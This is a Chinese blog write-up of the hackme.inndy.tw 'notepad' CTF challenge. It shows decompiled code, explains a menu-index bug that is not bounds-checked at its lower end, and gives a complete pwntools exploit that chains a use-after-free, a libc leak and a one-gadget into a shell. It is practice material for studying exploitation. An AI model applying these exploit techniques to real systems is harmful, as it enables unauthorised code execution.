hackme.inndy.tw notepad

idea

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
v8 = __readgsdword(0x14u);
v2 = (int *)notepad_choose();
if ( v2 )
{
v3 = *v2;
puts("note opened");
if ( *(_DWORD *)(v3 + 8) && yes_or_no("edit") )
{
printf("content > ");
fgets(&s, 4096, stdin);
strncpy((char *)(v3 + 16), &s, *(_DWORD *)(v3 + 12));
puts("note saved");
}
v4 = "show note";
v5 = "destory note";
v6 = 0;
v0 = menu((int)&v4);
(*(void (__cdecl **)(int))(v3 + 4 * (v0 - 1)))(v3);
puts("note closed");
}

漏洞点还是挺好找的,mean 函数的返回值是根据 v3 = getchar() - 97; 来确定的,而程序的逻辑只检查了上界,没有检查下界所以可以把函数指针布置到一个合适的位置,通过这个洞来调用,这就造成了任意函数执行了。

这个题的结构体还是很好逆的,做题的时候可以先申请 2 个结构体,在 gdb 中看看他们的位置,然后结合逆向出的结构体就很容易算出 v0 的值。

1
2
3
4
5
6
struct note{
char *notepad_show;
char *notepad_destory;
int notepad_rdonly;
int size;
}

所以利用的思路就是

1
2
3
4
5
6
1、申请 3 个 fastbin
2、将 free_plt 写入 note[0] 的数据段
3、open note[1],触发 free_plt free 掉自己
4、delete note[0] 造成 uaf
5、调用 puts 泄漏 libc
6、写入 onegadget 并调用

exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import *
context(log_level = "debug", terminal = ["deepin-terminal", "-x", "sh", "-c"])


t = remote('hackme.inndy.tw', 7713)
#t = remote('192.168.5.148', 10090)
#t = process('./notepad',env={"LD_PRELOAD":"./libc-2.23.so.i386"})
#elf = ELF('./notepad')
t.recvuntil('::> ')
t.sendline('c')

def add_n(size, data):
t.sendline('a')
t.recvuntil('size > ')
t.sendline(str(size))
t.recvuntil('data > ')
t.sendline(data)



def open_n(id, data):
t.recvuntil('::> ')
t.sendline('b')
t.recvuntil('id > ')
t.sendline(str(id))
t.recvuntil('edit (Y/n)')
t.sendline('n')
t.recvuntil('::> ')
t.sendline(data)


def del_n(id):
t.sendlineafter('::> ', 'c')
t.sendlineafter('id > ', str(id))

#raw_input()
plt_puts = 0x8048570
plt_free = 0x8048510
add_n(0x8, p32(plt_free)) #0
add_n(0x40, 'aaaa') #1
add_n(0x30, 'bbbb') #2
open_n(1, chr(93))
del_n(0)
add_n(0x8,p32(plt_puts))
open_n(1,chr(93))
libc = ELF('/Users/carlstar/Downloads/libc-2.23.so.i386')
libc.address = u32(t.recv(4)) - 48 - 0x1B2780
magic = libc.address + 0x3ac3e
del_n(0)
add_n(0x8,p32(magic))
open_n(1,chr(93))
t.interactive()
文章作者: Carl Star
文章链接: http://carlstar.club/2019/03/13/notepad/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Hexo